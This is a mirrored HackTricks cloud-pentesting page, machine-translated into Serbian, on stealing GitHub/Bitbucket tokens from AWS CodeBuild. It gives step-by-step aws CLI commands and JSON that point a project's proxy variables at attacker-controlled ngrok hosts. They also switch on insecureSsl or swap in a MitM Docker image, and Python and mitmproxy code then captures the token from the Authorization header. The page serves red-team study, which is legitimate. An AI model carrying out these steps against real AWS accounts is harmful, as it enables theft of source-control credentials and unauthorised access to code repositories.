mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
173 lines
7.2 KiB
Markdown
173 lines
7.2 KiB
Markdown
# AWS Codebuild - Token Leakage
|
|
|
|
{{#include ../../../../banners/hacktricks-training.md}}
|
|
|
|
## Oporavak konfigurisanih tokena za Github/Bitbucket
|
|
|
|
Prvo, proverite da li postoje bilo akreditivi izvora koji su konfigurirani koje biste mogli da iscurite:
|
|
```bash
|
|
aws codebuild list-source-credentials
|
|
```
|
|
### Via Docker Image
|
|
|
|
Ako otkrijete da je autentifikacija, na primer, za Github postavljena na nalogu, možete **izvršiti** tu **pristup** (**GH token ili OAuth token**) tako što ćete naterati Codebuild da **koristi specifičnu docker sliku** za pokretanje izgradnje projekta.
|
|
|
|
U tu svrhu možete **napraviti novi Codebuild projekat** ili promeniti **okruženje** postojećeg da postavite **Docker sliku**.
|
|
|
|
Docker slika koju možete koristiti je [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Ovo je vrlo osnovna Docker slika koja će postaviti **env promenljive `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u **`https_proxy`** i **`http_proxy`** i verujete SSL CERT-u navedenom u **`SSL_CERT_FILE`**.
|
|
|
|
1. **Kreirajte i otpremite svoju Docker MitM sliku**
|
|
- Pratite uputstva iz repozitorijuma da postavite svoju proxy IP adresu i postavite svoj SSL certifikat i **izgradite docker sliku**.
|
|
- **NE POSTAVLJAJTE `http_proxy`** da ne biste presreli zahteve ka metadata endpoint-u.
|
|
- Možete koristiti **`ngrok`** kao `ngrok tcp 4444` da postavite proxy na vaš host.
|
|
- Kada izgradite Docker sliku, **otpremite je na javni repo** (Dockerhub, ECR...)
|
|
2. **Postavite okruženje**
|
|
- Kreirajte **novi Codebuild projekat** ili **izmenite** okruženje postojećeg.
|
|
- Postavite projekat da koristi **prethodno generisanu Docker sliku**.
|
|
|
|
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
3. **Postavite MitM proxy na vašem hostu**
|
|
|
|
- Kao što je navedeno u **Github repozitorijumu**, možete koristiti nešto poput:
|
|
```bash
|
|
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
|
```
|
|
> [!TIP]
|
|
> Verzija **mitmproxy koja je korišćena je 9.0.1**, prijavljeno je da sa verzijom 10 ovo možda neće raditi.
|
|
|
|
4. **Pokrenite gradnju i zabeležite akreditive**
|
|
|
|
- Možete videti token u **Authorization** header-u:
|
|
|
|
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Ovo se takođe može uraditi iz aws cli sa nečim poput
|
|
```bash
|
|
# Create project using a Github connection
|
|
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
|
|
|
## With /tmp/buildspec.json
|
|
{
|
|
"name": "my-demo-project",
|
|
"source": {
|
|
"type": "GITHUB",
|
|
"location": "https://github.com/uname/repo",
|
|
"buildspec": "buildspec.yml"
|
|
},
|
|
"artifacts": {
|
|
"type": "NO_ARTIFACTS"
|
|
},
|
|
"environment": {
|
|
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
|
|
"image": "docker.io/carlospolop/docker-mitm:v12",
|
|
"computeType": "BUILD_GENERAL1_SMALL",
|
|
"imagePullCredentialsType": "CODEBUILD"
|
|
}
|
|
}
|
|
|
|
## Json
|
|
|
|
# Start the build
|
|
aws codebuild start-build --project-name my-project2
|
|
```
|
|
### Via insecureSSL
|
|
|
|
**Codebuild** projekti imaju podešavanje pod nazivom **`insecureSsl`** koje je skriveno na vebu i može se promeniti samo putem API-ja.\
|
|
Omogućavanje ovoga omogućava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata** koji nudi platforma.
|
|
|
|
- Prvo treba da enumerišete trenutnu konfiguraciju sa nečim poput:
|
|
```bash
|
|
aws codebuild batch-get-projects --name <proj-name>
|
|
```
|
|
- Zatim, sa prikupljenim informacijama možete ažurirati postavku projekta **`insecureSsl`** na **`True`**. Sledeći je primer mog ažuriranja projekta, obratite pažnju na **`insecureSsl=True`** na kraju (ovo je jedina stvar koju treba da promenite iz prikupljene konfiguracije).
|
|
- Pored toga, dodajte i env varijable **http_proxy** i **https_proxy** koje upućuju na vaš tcp ngrok kao:
|
|
```bash
|
|
aws codebuild update-project --name <proj-name> \
|
|
--source '{
|
|
"type": "GITHUB",
|
|
"location": "https://github.com/carlospolop/404checker",
|
|
"gitCloneDepth": 1,
|
|
"gitSubmodulesConfig": {
|
|
"fetchSubmodules": false
|
|
},
|
|
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
|
|
"auth": {
|
|
"type": "CODECONNECTIONS",
|
|
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
|
|
},
|
|
"reportBuildStatus": false,
|
|
"insecureSsl": true
|
|
}' \
|
|
--environment '{
|
|
"type": "LINUX_CONTAINER",
|
|
"image": "aws/codebuild/standard:5.0",
|
|
"computeType": "BUILD_GENERAL1_SMALL",
|
|
"environmentVariables": [
|
|
{
|
|
"name": "http_proxy",
|
|
"value": "http://2.tcp.eu.ngrok.io:15027"
|
|
},
|
|
{
|
|
"name": "https_proxy",
|
|
"value": "http://2.tcp.eu.ngrok.io:15027"
|
|
}
|
|
]
|
|
}'
|
|
```
|
|
- Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu koji su označili proxy varijable (http_proxy i https_proxy)
|
|
```python
|
|
from mitm import MITM, protocol, middleware, crypto
|
|
|
|
mitm = MITM(
|
|
host="127.0.0.1",
|
|
port=4444,
|
|
protocols=[protocol.HTTP],
|
|
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
|
|
certificate_authority = crypto.CertificateAuthority()
|
|
)
|
|
mitm.run()
|
|
```
|
|
- Na kraju, kliknite na **Build the project**, **akreditivi** će biti **poslati u čistom tekstu** (base64) na mitm port:
|
|
|
|
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### ~~Putem HTTP protokola~~
|
|
|
|
> [!TIP] > **Ova ranjivost je ispravljena od strane AWS-a u nekom trenutku tokom nedelje 20. februara 2023. (mislim u petak). Tako da napadač više ne može da je zloupotrebi :)**
|
|
|
|
Napadač sa **povišenim dozvolama u CodeBuild-u mogao bi da iscuri Github/Bitbucket token** koji je konfigurisan ili ako su dozvole konfigurirane putem OAuth, **privremeni OAuth token koji se koristi za pristup kodu**.
|
|
|
|
- Napadač bi mogao da doda promenljive okruženja **http_proxy** i **https_proxy** u CodeBuild projekat koje upućuju na njegovu mašinu (na primer `http://5.tcp.eu.ngrok.io:14972`).
|
|
|
|
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
- Zatim, promenite URL github repozitorijuma da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions`
|
|
- Zatim, pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu koji su označile proxy promenljive (http_proxy i https_proxy)
|
|
```python
|
|
from mitm import MITM, protocol, middleware, crypto
|
|
|
|
mitm = MITM(
|
|
host="0.0.0.0",
|
|
port=4444,
|
|
protocols=[protocol.HTTP],
|
|
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
|
|
certificate_authority = crypto.CertificateAuthority()
|
|
)
|
|
mitm.run()
|
|
```
|
|
- Zatim kliknite na **Build the project** ili pokrenite build iz komandne linije:
|
|
```sh
|
|
aws codebuild start-build --project-name <proj-name>
|
|
```
|
|
- Na kraju, **akreditivi** će biti **poslati u čistom tekstu** (base64) na mitm port:
|
|
|
|
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
> [!WARNING]
|
|
> Sada će napadač moći da koristi token sa svoje mašine, da izlista sve privilegije koje ima i (zlo)upotrebi lakše nego korišćenjem CodeBuild servisa direktno.
|
|
|
|
{{#include ../../../../banners/hacktricks-training.md}}
|